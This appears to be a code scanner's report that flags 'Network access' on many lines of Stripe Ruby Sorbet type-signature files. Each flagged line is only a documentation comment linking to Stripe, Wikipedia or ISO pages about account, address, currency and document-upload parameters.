    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 2642
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }                   def back=(_back); end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the veri
  • Network accessline 2643
    def back=(_back); end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The
  • Network accessline 2644
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 2650
    def initialize(back: nil, front: nil); end                 end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 2651
    end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.                 sig {
  • Network accessline 2652
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 2671
    class SecondaryVerification < ::Stripe::RequestParams                 class FrontBack < ::Stripe::RequestParams                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the v
  • Network accessline 2672
    class FrontBack < ::Stripe::RequestParams                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'iden
  • Network accessline 2673
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 2676
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }                   def back=(_back); end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the veri
  • Network accessline 2677
    def back=(_back); end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The
  • Network accessline 2678
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 2684
    def initialize(back: nil, front: nil); end                 end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 2685
    end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.                 sig {
  • Network accessline 2686
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 2704
    end               class Visa < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2705
    class Visa < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.                 sig { returns
  • Network accessline 2706
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2831
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }                 def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2832
    def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).                 sig { returns(String) }
  • Network accessline 2833
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2880
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }                 def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2881
    def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).                 sig { returns(String) }
  • Network accessline 2882
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 3072
    }             def metadata=(_metadata); end             # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 3073
    def metadata=(_metadata); end             # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(T::Array[Str
  • Network accessline 3074
    # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 3158
    }           def business_details=(_business_details); end           # The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO
  • Network accessline 3159
    def business_details=(_business_details); end           # The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alph
  • Network accessline 3160
    # The country in which the account holder resides, or in which the business is legally established. This should be an [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2) country code.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/v2/core/account_token_create_params.rbi

  • Network accessline 28
    end             class PersonsProvided < ::Stripe::RequestParams               # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stri
  • Network accessline 29
    class PersonsProvided < ::Stripe::RequestParams               # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/co
  • Network accessline 30
    # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 33
    sig { params(_directors: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) }               def directors=(_directors); end               # Whether the company’s executives have been provided. Set this Boolean to true after creating all 
  • Network accessline 34
    def directors=(_directors); end               # Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/cr
  • Network accessline 35
    # Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 38
    sig { params(_executives: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) }               def executives=(_executives); end               # Whether the company’s owners have been provided. Set this Boolean to true after creating all t
  • Network accessline 39
    def executives=(_executives); end               # Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createpe
  • Network accessline 40
    # Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 158
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }               def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 159
    def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 160
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 203
    class AnnualRevenue < ::Stripe::RequestParams               class Amount < ::Stripe::RequestParams                 # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#m
  • Network accessline 204
    class Amount < ::Stripe::RequestParams                 # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).                 sig { returns(T.nilable(Integer
  • Network accessline 205
    # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).
  • Network accessline 208
    sig { params(_value: T.nilable(Integer)).returns(T.nilable(Integer)) }                 def value=(_value); end                 # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [su
  • Network accessline 209
    def value=(_value); end                 # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).                 sig { returns(T.
  • Network accessline 210
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 237
    class Documents < ::Stripe::RequestParams               class BankAccountOwnershipVerification < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#creat
  • Network accessline 238
    class BankAccountOwnershipVerification < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.  
  • Network accessline 239
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 251
    end               class CompanyLicense < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 252
    class CompanyLicense < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.                 sig
  • Network accessline 253
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 265
    end               class CompanyMemorandumOfAssociation < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account
  • Network accessline 266
    class CompanyMemorandumOfAssociation < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.    
  • Network accessline 267
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 279
    end               class CompanyMinisterialDecree < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requi
  • Network accessline 280
    class CompanyMinisterialDecree < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.          
  • Network accessline 281
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 293
    end               class CompanyRegistrationVerification < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `accoun
  • Network accessline 294
    class CompanyRegistrationVerification < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.   
  • Network accessline 295
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 307
    end               class CompanyTaxIdVerification < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requi
  • Network accessline 308
    class CompanyTaxIdVerification < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.          
  • Network accessline 309
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 322
    class PrimaryVerification < ::Stripe::RequestParams                 class FrontBack < ::Stripe::RequestParams                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the ver
  • Network accessline 323
    class FrontBack < ::Stripe::RequestParams                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'iden
  • Network accessline 324
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 327
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }                   def back=(_back); end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the veri
  • Network accessline 328
    def back=(_back); end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The
  • Network accessline 329
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 335
    def initialize(back: nil, front: nil); end                 end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 336
    end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.                 sig {
  • Network accessline 337
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 355
    end               class ProofOfAddress < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 356
    class ProofOfAddress < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.                 sig
  • Network accessline 357
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 369
    end               class ProofOfRegistration < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requiremen
  • Network accessline 370
    class ProofOfRegistration < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.               
  • Network accessline 371
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 383
    end               class ProofOfUltimateBeneficialOwnership < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `acc
  • Network accessline 384
    class ProofOfUltimateBeneficialOwnership < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 385
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 525
    class MonthlyEstimatedRevenue < ::Stripe::RequestParams               class Amount < ::Stripe::RequestParams                 # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/cu
  • Network accessline 526
    class Amount < ::Stripe::RequestParams                 # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).                 sig { returns(T.nilable(Integer
  • Network accessline 527
    # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).
  • Network accessline 530
    sig { params(_value: T.nilable(Integer)).returns(T.nilable(Integer)) }                 def value=(_value); end                 # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [su
  • Network accessline 531
    def value=(_value); end                 # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).                 sig { returns(T.
  • Network accessline 532
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 559
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }                 def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 560
    def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).                 sig { returns(T.nilable(String)) }
  • Network accessline 561
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 608
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }                 def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 609
    def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).                 sig { returns(T.nilable(String)) }
  • Network accessline 610
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 823
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }               def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 824
    def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 825
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 904
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }               def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 905
    def city=(_city); end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 906
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 968
    class Documents < ::Stripe::RequestParams               class CompanyAuthorization < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with
  • Network accessline 969
    class CompanyAuthorization < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.              
  • Network accessline 970
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 982
    end               class Passport < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 983
    class Passport < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.                 sig { ret
  • Network accessline 984
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 997
    class PrimaryVerification < ::Stripe::RequestParams                 class FrontBack < ::Stripe::RequestParams                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the ver
  • Network accessline 998
    class FrontBack < ::Stripe::RequestParams                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'iden
  • Network accessline 999
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 1002
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }                   def back=(_back); end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the veri
  • Network accessline 1003
    def back=(_back); end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The
  • Network accessline 1004
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 1010
    def initialize(back: nil, front: nil); end                 end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 1011
    end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.                 sig {
  • Network accessline 1012
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 1031
    class SecondaryVerification < ::Stripe::RequestParams                 class FrontBack < ::Stripe::RequestParams                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the v
  • Network accessline 1032
    class FrontBack < ::Stripe::RequestParams                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'iden
  • Network accessline 1033
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the back of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image 
  • Network accessline 1036
    sig { params(_back: T.nilable(String)).returns(T.nilable(String)) }                   def back=(_back); end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the veri
  • Network accessline 1037
    def back=(_back); end                   # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The
  • Network accessline 1038
    # A [file upload](https://docs.stripe.com/api/persons/update#create_file) token representing the front of the verification document. The purpose of the uploaded file should be 'identity_document'. The uploaded file needs to be a color image
  • Network accessline 1044
    def initialize(back: nil, front: nil); end                 end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 1045
    end                 # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.                 sig {
  • Network accessline 1046
    # The [file upload](https://docs.stripe.com/api/persons/update#create_file) tokens referring to each side of the document.
  • Network accessline 1064
    end               class Visa < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1065
    class Visa < ::Stripe::RequestParams                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.                 sig { returns
  • Network accessline 1066
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 1191
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }                 def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1192
    def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).                 sig { returns(T.nilable(String)) }
  • Network accessline 1193
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1240
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }                 def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1241
    def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).                 sig { returns(T.nilable(String)) }
  • Network accessline 1242
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1434
    }             def metadata=(_metadata); end             # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1435
    def metadata=(_metadata); end             # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(T::Array[Str
  • Network accessline 1436
    # The countries where the individual is a national. Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/v2/core/account_update_params.rbi

  • Network accessline 156
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }                 def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 157
    def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).                 sig { returns(T.nilable(String)) }
  • Network accessline 158
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 286
    end             class Branding < ::Stripe::RequestParams               # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px.
  • Network accessline 287
    class Branding < ::Stripe::RequestParams               # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px.               sig { returns(T.nilab
  • Network accessline 288
    # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px.
  • Network accessline 291
    sig { params(_icon: T.nilable(String)).returns(T.nilable(String)) }               def icon=(_icon); end               # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used
  • Network accessline 292
    def icon=(_icon); end               # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used in Checkout instead of the icon and without the merchant's name next to it if pro
  • Network accessline 293
    # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used in Checkout instead of the icon and without the merchant's name next to it if provided. Must be at least 128px x 128p
  • Network accessline 1268
    def initialize(descriptor: nil, prefix: nil); end               end               # The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get
  • Network accessline 1269
    end               # The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-de
  • Network accessline 1270
    # The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 1277
    }               def kana=(_kana); end               # The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-de
  • Network accessline 1278
    def kana=(_kana); end               # The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-ja
  • Network accessline 1279
    # The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 1312
    sig { params(_city: T.nilable(String)).returns(T.nilable(String)) }                 def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1313
    def city=(_city); end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).                 sig { returns(T.nilable(String)) }
  • Network accessline 1314
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1603
    def initialize(fees_collector: nil, losses_collector: nil); end           end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/do
  • Network accessline 1604
    end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).           sig { returns(T.nilable(String)) }
  • Network accessline 1605
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 1677
    end             class PersonsProvided < ::Stripe::RequestParams               # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stri
  • Network accessline 1678
    class PersonsProvided < ::Stripe::RequestParams               # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/co
  • Network accessline 1679
    # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 1682
    sig { params(_directors: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) }               def directors=(_directors); end               # Whether the company’s executives have been provided. Set this Boolean to true after creating all 
  • Network accessline 1683
    def directors=(_directors); end               # Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/cr
  • Network accessline 1684
    # Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 1687
    sig { params(_executives: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) }               def executives=(_executives); end               # Whether the company’s owners have been provided. Set this Boolean to true after creating all t
  • Network accessline 1688
    def executives=(_executives); end               # Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createpe
  • Network accessline 1689
    # Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 1794
    def initialize(date: nil, ip: nil, user_agent: nil); end               end               # Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance).
  • Network accessline 1795
    end               # Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance).               sig {
  • Network accessline 1796
